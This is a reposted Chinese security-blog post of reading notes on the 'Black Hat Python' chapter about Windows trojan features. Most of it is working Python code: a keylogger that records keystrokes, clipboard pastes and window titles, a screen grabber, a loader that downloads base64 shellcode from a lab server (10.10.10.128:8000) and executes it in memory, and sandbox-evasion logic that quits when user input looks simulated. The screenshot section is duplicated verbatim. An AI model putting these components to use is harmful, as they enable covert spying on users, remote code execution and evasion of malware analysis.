Windows下木马的常用功能

admin 2022年6月11日22:14:53安全文章评论4 views6339字阅读21分7秒阅读模式



Windows下木马的常用功能


前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书


本篇是第8章Windows下木马的常用功能,包括键盘记录,屏幕快照,执行shellcode,并穿插沙盒检测技术

1、键盘记录

键盘记录是最古老的黑客技术之一

#!/usr/bin/env python#-*- coding:utf8 -*-
from ctypes import *import pythoncomimport pyHook #这个库可以捕获键盘事件,用了SetWindowsHookEximport win32clipboard
user32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None
def get_current_process():
# 获取前台窗口句柄 hwnd = user32.GetForegroundWindow()
# 获得进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 保存当前进程ID process_id = "%d" % pid.value
# 申请内存 executable = create_string_buffer("x00" * 512) # 打开进程 h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid) # 获取进程所对应的可执行文件的名字 psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
# 读取窗口标题 window_title = create_string_buffer("x00" * 512) length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出进程相关信息 print print "[ PID: %s - %s - %s]" % (process_id, executable.value, window_title.value) print
# 关闭句柄 kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process)
# 核心代码def keyStore(event): global current_window
# 检查目标是否切换了窗口 if event.WindowName != current_window: current_window = event.WindowName get_current_process()
# 检测按键是否为常规按键(非组合键等) if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), else: # 若输入为[CTRL-V],则获取剪切板内容 if event.Key == "V": win32clipboard.OpenClipboard() pasted_value = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else: print "[%s]" % event.Key,
# 返回直到下一个钩子事件被触发 return True
# 创建和注册钩子函数管理器k1 =pyHook.HookManager()# 绑定事件k1.KeyDown = keyStore
# 注册键盘记录的钩子,然后永久执行k1.HookKeyboard()pythoncom.PumpMessages()

2、屏幕快照

可以用PyWin32库来调用GDI进行抓屏

#!/usr/bin/env python#-*- coding:utf8 -*-
import win32guiimport win32uiimport win32conimport win32api
# 获取窗口桌面的句柄hdesktop = win32gui.GetDesktopWindow()
# 获得显示屏的像素尺寸width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)
# 复制屏幕到我们的内存设备描述表中mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
# 将位图保存到文件中screenshot.SaveBitmapFile(mem_dc, "C:\test.bmp")
# 释放对象mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

2、屏幕快照

可以用PyWin32库来调用GDI进行抓屏

#!/usr/bin/env python#-*- coding:utf8 -*-
import win32guiimport win32uiimport win32conimport win32api
# 获取窗口桌面的句柄hdesktop = win32gui.GetDesktopWindow()
# 获得显示屏的像素尺寸width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)
# 复制屏幕到我们的内存设备描述表中mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
# 将位图保存到文件中screenshot.SaveBitmapFile(mem_dc, "C:\test.bmp")
# 释放对象mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

3、shellcode

利用urllib2库从web服务器上下载base64编码的shellcode

#!/usr/bin/env python#-*- coding:utf8 -*-
import urllib2import ctypesimport base64
# 从我们搭建的服务器下下载shellcodeurl = "http://10.10.10.128:8000/shellcode.exe"response = urllib2.urlopen(url)
# 解码shellcodeshellcode = base64.b64decode(response.read())# 申请内存空间shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))# 创建shellcode的函数指针shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))# 执行shellcodeshellcode_func()

4、沙盒检测

主要是根据用户的交互来判断是不是沙盒

#!/usr/bin/env python#-*- coding:utf8 -*-
import ctypesimport randomimport timeimport sys
user32 = ctypes.windll.user32kernel32 = ctypes.windll.kernel32
# 用于记录鼠标单击,键盘按键和双击的总数量keystrokes = 0mouse_clicks = 0double_clicks = 0
# 定义LASTINPUTINFO结构体class LASTINPUTINFO(ctypes.Structure): _fields_ = [ ("cbsize", ctypes.c_uint), # 结构体大小 ("dwTime", ctypes.c_ulong) # 系统最后输入时间 ]
def get_last_input(): struct_lastinputinfo = LASTINPUTINFO() struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
# 获得用户最后输入的相关信息 user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))
# 获取系统开机以来的时间 run_time = kernel32.GetTickCount()
elapsed = run_time - struct_lastinputinfo.dwTime print "[*] It's been %d milliseconds since the last input event." % elapsed
return elapsed
# 测试后删除下面代码,这只是测试上面代码能否运行成功# while True:# get_last_input()# time.sleep(1)
def get_key_press(): global mouse_clicks global keystrokes
for i in range(0,0xff): # 检测某个按键是否被按下 if user32.GetAsyncKeyState(i) == -32767: # 左键点击为0x1 if i == 0x1: # 鼠标单击的数目和时间 mouse_clicks += 1 return time.time() # 键盘ASCII按键是从23-127(具体可看ASCII表),为可打印字符,这就获取了键盘的敲击次数 elif i > 32 and i < 127: keystrokes += 1
return None
def detect_sandbox(): global mouse_clicks global keystrokes
# 定义键盘,单击,双击的最大值(阀值) max_keystrokes = random.randint(10,25) max_mouse_clicks = random.randint(5,25) max_double_clicks = 10
double_clicks = 0 double_click_threshold = 0.250 #秒为单位 first_double_click = None
average_mousetime = 0 max_input_threshold = 30000 #毫秒为单位
previous_timestamp = None detection_complete = False
# 获取用户最后一次输入之后经历的时间 last_input = get_last_input()
# 超过设定的阀值时强制退出,就是用户最后一次输入之后经历的时间太长,都没用户活动了 if last_input >= max_input_threshold: sys.exit(0)
# 循环检测 while not detection_complete:
# 获取按下鼠标的时间,不懂的看函数的返回值 keypress_time = get_key_press()
if keypress_time is not None and previous_timestamp is not None: # 计算两次点击的相隔时间 elapsed = keypress_time - previous_timestamp # 间隔时间短的话,则为用户双击 if elapsed <= double_click_threshold: double_clicks += 1 if first_double_click is None: # 获取第一次双击的时间 first_double_click = time.time() else: # 是否是沙盒的管理者在沙盒中模仿用户的点击(因为普通用户通常不会双击这么多) if double_clicks == max_double_clicks: # 短时间内,鼠标点击达到了我们设定的最大值(最大次数*双击间隔) if keypress_time - first_double_click <= (max_double_clicks * double_click_threshold): sys.exit(0) # 是否达到了我们检测的最大数量,是就退出 if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >=max_mouse_clicks: return
previous_timestamp = keypress_time elif keypress_time is not None: previous_timestamp = keypress_time
detect_sandbox()print "We are Ok!"

结语

一些简单的脚本




红客突击队于2019年由队长k龙牵头,联合国内多位顶尖高校研究生成立。其团队从成立至今多次参加国际网络安全竞赛并取得良好成绩,积累了丰富的竞赛经验。团队现有三十多位正式成员及若干预备人员,下属联合分队数支。红客突击队始终秉承先做人后技术的宗旨,旨在打造国际顶尖网络安全团队。




原文始发于微信公众号(红客突击队):Windows下木马的常用功能

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月11日22:14:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Windows下木马的常用功能 http://cn-sec.com/archives/1109247.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: